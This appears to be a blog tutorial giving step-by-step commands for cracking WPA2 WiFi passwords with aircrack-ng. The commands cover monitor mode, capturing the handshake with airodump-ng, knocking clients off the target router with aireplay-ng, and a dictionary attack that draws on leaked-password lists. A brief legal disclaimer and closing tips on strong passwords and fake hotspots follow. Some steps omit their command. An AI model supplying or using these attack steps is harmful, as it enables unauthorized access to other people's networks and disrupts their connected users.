Hack WiFi Password
Cracking WPA2 wifi password is not really an easy thing to do, no you can’t crack it with a click and there is no software that will give you the password without some hard work … Don’t run away still you can crack it with few steps here 🙂 and we will do it using aircrack-ng.
- Kali Linux or any Linux system with aircrack-ng installed
- A wireless network adapter that support monitor mode likea- Alfa 2W AWUS036NH
b- Alfa AWUS036H
c- wifiy-city 56G
d- you can check this page for card compatibili compatibility drivers
- A word list comprising of all the possible different combination of pass
- Download Wordlist
These dictionaries that come with some of penetration tools
Leaked passwords dictionaries those were leaked or stolen from sites
Now let’s get to work
1) Open up your terminal as root and type
This will show you all the networking interfaces connected to your device.
If your wireless network adapter is working fine you should see the wlan0 the name may change if you have more then one connected wireless adapter.
2) Now to start monitor mode type
airmon-ng start wlan0
airmon-ng is a traffic monitoring tool
wlan0 is your wireless interface
With this command we started the monitor mode as it’s seen the monitor mode is working under wlan0mon , so this is your card name for now in the red area is a list of process id’s that cause trouble during the process so kill those processes by typing
kill 549 633 965
Now type ifconfig. And this will show you the newly set monitoring interface
Ex : wlan0mon
3) To show list of available WiFi network type
After you choose a network that you want to crack, stop the scan by pressing CTRL + C
airodump-ng is a wifi packets capturing tool
wlan0mon is the wifi adapter interface
airodump-ng will start capturing all packets.
BSSID (BSSID = base service set identifier)
Note the following, because you will need it for the next step:
The STATION is showing how many clients are connected to the Router (with more stations are connected at the same router it will more easy to catch the Handshake)
4) Capturing the packets of your target network
Type the following command
airodump-ng -c <channel> -w <name(ESSID)> –bssid <bssid> wlan0mon
ex: airodump-ng -c 11 -w Darkness –bssid C4:6E:1F:FE:8F:E6 wlan0mon
This will start capturing the packets. And if you get the handshake, you don’t need the aireplay command…
If you don’t get the handshake yet, while the capturing of packets goes on, open a new terminal and type:
aireplay-ng = tool is for deauthentication.
aireplay-ng -0 0 -a C4:6E:1F:FE:8F:E6 -c E0:2C:B2:07:C4:8F wlan0mon (-a = router, -c = client) = This will disconnect only one specific connected clients from the router.
aireplay-ng -0 0 -a <bssid> wlan0mon = This will disconnect all connected clients from the router.
After few seconds stop the deauthentication using CTRL + C (wait a few seconds and if you don’t get the handshake repeat the aireplay-ng command)
Now after we have successful captured the wpa handshake.
5) Cracking the Password
Use ls command to bring up all the current directories and files.
We need the file with .cap extension.
aircrack-ng is a tool that helps in cracking the password
Now all you have to do is wait until you see the lovely news ( KEY Found )
All Step in few lines
1) airodump-ng wlan0mon
2) airodump-ng -c 11 -w Darkness –bssid C4:6E:1F:FE:8F:E6 wlan0mon
3) aireplay-ng -0 0 -a C4:6E:1F:FE:8F:E6 wlan0mon
4) aircrack-ng -w worldlist.txt Darkness.cap
Cracking wireless (WiFi) Networks without permission is illegal
The software (Kali Linux) is for testing wireless security and if used against a network which is not yours or you don’t have permission to crack is illegal!
It is true the network owner will probably not realize you have access to their internet connection which is why you should always use WPA2 level protection.
How to Make Sure Your WiFi Network is Secure
So now you have learned how to hack WiFi password you can use this information to make sure your WiFi network cannot be hacked, you must use WPA2 level security and use a long password made up of random numbers, letters & any of the 95 permitted characters.
Do not use a word that is in any dictionary in any language, name, football team, movie name, pets name, greek god or medical condition!
Random password = Secure Network!
Beware of Connecting to Open/Unsecured WiFi Networks
If you have ever seen a WiFi network available with no password on it and thought wow free internet, think again.
There is a growing number of cyber criminals who are deliberately setting up open (no password required) WiFi networks so that people connect to them and the criminal will just sit there and collect all your personal info, passwords and account login information.
Known as a Honeypot or Fake AP the WiFi network will look and work just like any other WiFi network. They will be more common in public places such as shopping districts with cafes and coffee shops where people will sit and look for open WiFi networks to use.
They might look like someones personal WiFi network they haven’t secured or will have a name like Starbucks or Free Public WiFi to seem trustworthy.
We will learn how to make a Honeypot or Fake AP in latest tutorial.
